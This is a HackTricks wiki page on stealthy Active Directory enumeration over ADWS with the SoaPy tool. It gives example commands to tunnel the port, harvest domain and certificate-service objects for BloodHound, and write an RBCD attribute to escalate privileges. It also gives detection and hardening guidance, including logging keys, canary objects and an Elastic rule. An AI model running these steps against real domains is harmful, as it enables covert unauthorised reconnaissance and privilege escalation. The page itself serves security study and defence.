Active Directory Web Services (ADWS) Enumeration & Stealth Collection
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
What is ADWS?
Active Directory Web Services (ADWS) is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Despite the name, no HTTP is involved. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic. For operators this means:
- Stealthier recon – Blue teams often concentrate on LDAP queries.
- Freedom to collect from non-Windows hosts (Linux, macOS) by tunnelling 9389/TCP through a SOCKS proxy.
- The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform writes (e.g.
msDs-AllowedToActOnBehalfOfOtherIdentity
for RBCD).
NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.
SoaPy – Native Python Client
SoaPy is a full re-implementation of the ADWS protocol stack in pure Python. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.
Key Features
- Supports proxying through SOCKS (useful from C2 implants).
- Fine-grained search filters identical to LDAP
-q '(objectClass=user)'
. - Optional write operations (
--set
/--delete
). - BOFHound output mode for direct ingestion into BloodHound.
--parse
flag to prettify timestamps /userAccountControl
when human readability is required.
Installation (operator host)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
The following workflow shows how to enumerate domain & ADCS objects over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux:
-
Tunnel 9389/TCP from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export
export HTTPS_PROXY=socks5://127.0.0.1:1080
or use SoaPy’s--proxyHost/--proxyPort
. -
Collect the root domain object:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Collect ADCS-related objects from the Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Convert to BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Upload the ZIP in the BloodHound GUI and run cypher queries such as
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
to reveal certificate escalation paths (ESC1, ESC8, etc.).
Writing msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Combine this with s4u2proxy
/Rubeus /getticket
for a full Resource-Based Constrained Delegation chain.
Detection & Hardening
Verbose ADDS Logging
Enable the following registry keys on Domain Controllers to surface expensive / inefficient searches coming from ADWS (and LDAP):
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
Events will appear under Directory-Service with the full LDAP filter, even when the query arrived via ADWS.
SACL Canary Objects
- Create a dummy object (e.g. disabled user
CanaryUser
). - Add an Audit ACE for the Everyone principal, audited on ReadProperty.
- Whenever an attacker performs
(servicePrincipalName=*)
,(objectClass=user)
etc. the DC emits Event 4662 which contains the real user SID – even when the request is proxied or originates from ADWS.
Elastic pre-built rule example:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Tooling Summary
Purpose | Tool | Notes |
---|---|---|
ADWS enumeration | SoaPy | Python, SOCKS, read/write |
BloodHound ingest | BOFHound | Converts SoaPy/ldapsearch logs |
Cert compromise | Certipy | Can be proxied through same SOCKS |
References
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.